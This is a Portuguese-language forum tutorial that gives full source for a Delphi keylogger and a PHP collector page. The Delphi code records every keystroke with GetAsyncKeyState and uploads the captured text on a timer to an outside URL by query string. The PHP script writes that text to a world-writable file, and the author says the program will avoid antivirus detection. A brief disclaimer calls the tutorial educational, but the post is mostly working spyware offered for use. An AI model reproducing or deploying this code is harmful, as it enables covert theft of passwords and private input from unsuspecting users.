Jump to content
Sign in to follow this  
DraKiNs

Keylogger que envia info para site - Delphi/PHP

Recommended Posts

DraKiNs

[Atenção o Tutorial serve apenas para fins didácticos e nem o autor nem a comunidade podem ser responsabilizados pelo uso dado por cada utilizador às informações contidas neste tutorial.]

Olá galera hoje vou ensinar como criar um Keylogger de forma facil e totalmente boa.

Primeiramente abra seu IDE Delphi e adicione os seguintes modelos

  • 2 Timers
  • 1 WebBrowser
  • 1 Memo

Vamos então adicionar os códigos delphi que peguei do site 'Explorando'

Códigos

Delphi

TIMER1

procedure TForm1.Timer1Timer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(' [bACKSPACE] ');
9: Coloca(' [TAB] ');
12: Coloca(' [ALT] ');
13: Coloca(' [ENTER] ');
16: Coloca(' [sHIFT] ');
17: Coloca(' [CONTROL] ');
18: Coloca(' [ALT] ');
20: Coloca(' [CAPS LOCK] ');
21: Coloca(' [PAGE UP] ');
27: Coloca(' [ESC] ');
33: Coloca(' [PAGE UP] ');
34: Coloca(' [PAGE DOWN] ');
35: Coloca(' [END] ');
36: Coloca(' [HOME] ');
37: Coloca(' [sETA ESQUERDA] ');
38: Coloca(' [sETA ACIMA] ');
39: Coloca(' [sETA DIREITA] ');
40: Coloca(' [sETA ABAIXO] ');
45: Coloca(' [iNSERT] ');
46: Coloca(' [DEL] ');
91: Coloca(' [WIN ESQUERDA] ');
92: Coloca(' [WIN DIREITA] ');
93: Coloca(' [MENU POP-UP] ');
96: Coloca('0');
97: Coloca('1');
98: Coloca('2');
99: Coloca('3');
100: Coloca('4');
101: Coloca('5');
102: Coloca('6');
103: Coloca('7');
104: Coloca('8');
105: Coloca('9');
106: Coloca(' [NUM *] ');
107: Coloca(' [NUM +] ');
109: Coloca(' [NUM -] ');
110: Coloca(' [NUM SEP. DECIMAL] ');
111: Coloca(' [NUM /] ');
112: Coloca(' [F1] ');
113: Coloca(' [F2] ');
114: Coloca(' [F3] ');
115: Coloca(' [F4] ');
116: Coloca(' [F5] ');
117: Coloca(' [F6] ');
118: Coloca(' [F7] ');
119: Coloca(' [F8] ');
120: Coloca(' [F9] ');
121: Coloca(' [F10] ');
122: Coloca(' [F11] ');
123: Coloca(' [F12] ');
144: Coloca(' [NUM LOCK] ');
186: Coloca('Ç');
187: Coloca('=');
188: Coloca(',');
189: Coloca('-');
190: Coloca('.');
191: Coloca(';');
192: Coloca(' [APÓSTROFO] ');
193: Coloca('/');
194: Coloca(' [NUM PONTO] ');
219: Coloca('´');
220: Coloca(']');
221: Coloca('[');
222: Coloca('~');
226: Coloca('\');
else
if (KeyLoop >= 65) and (keyloop <= 90) then
Coloca(Chr(keyloop));
if (keyloop >= 32) and (keyloop <= 63) then
Coloca(Chr(keyloop));
//numpad keycodes
if (keyloop >= 96) and (keyloop <= 110) then
Coloca(Chr(keyloop));
end;
end; //case;
inc(keyloop);
until keyloop = 255;
end;

TIMER2

Web.Navigate('www.localdapaginaphp.com/pagina.php?value=' + memo1.text);

Configure os timers para o seguinte modo:

Intervalo do Timer 1 = 000001 ms (true)
Intervalo do Timer 2 = 160000 ms (true)

NO PHP

Então agora vamos para parte PHP

Pegue o seguinte código PHP:

pagina.php

<?php
  $set = $_GET['value'];
  $fp = fopen('value.txt', 'w');
  fwrite($fp,$set);
  fclose($fp);
  echo "Sucess";
?>

Hospede em algum local (esta URL será colocada no delphi). Após hospedar coloque a URL no delphi (como dito acima www.localdapaginaphp.com)

E deixe com chmod no valor de 777.

Compile seu Keylogger,execute e acesse o site onde ficaram as informações

www.localdapaginaphp.com/value.txt

Devemos admitir, é algo realmente noob usar Query Strings, porém está forma não dará erros, e também não será detectada como vírus porque não contém código malicioso.

De qualquer forma, arrume conforme sua maneira.

Abraços galera e boa sorte com 'projeto'.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×
×
  • Create New...

Important Information

By using this site you accept our Terms of Use and Privacy Policy. We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.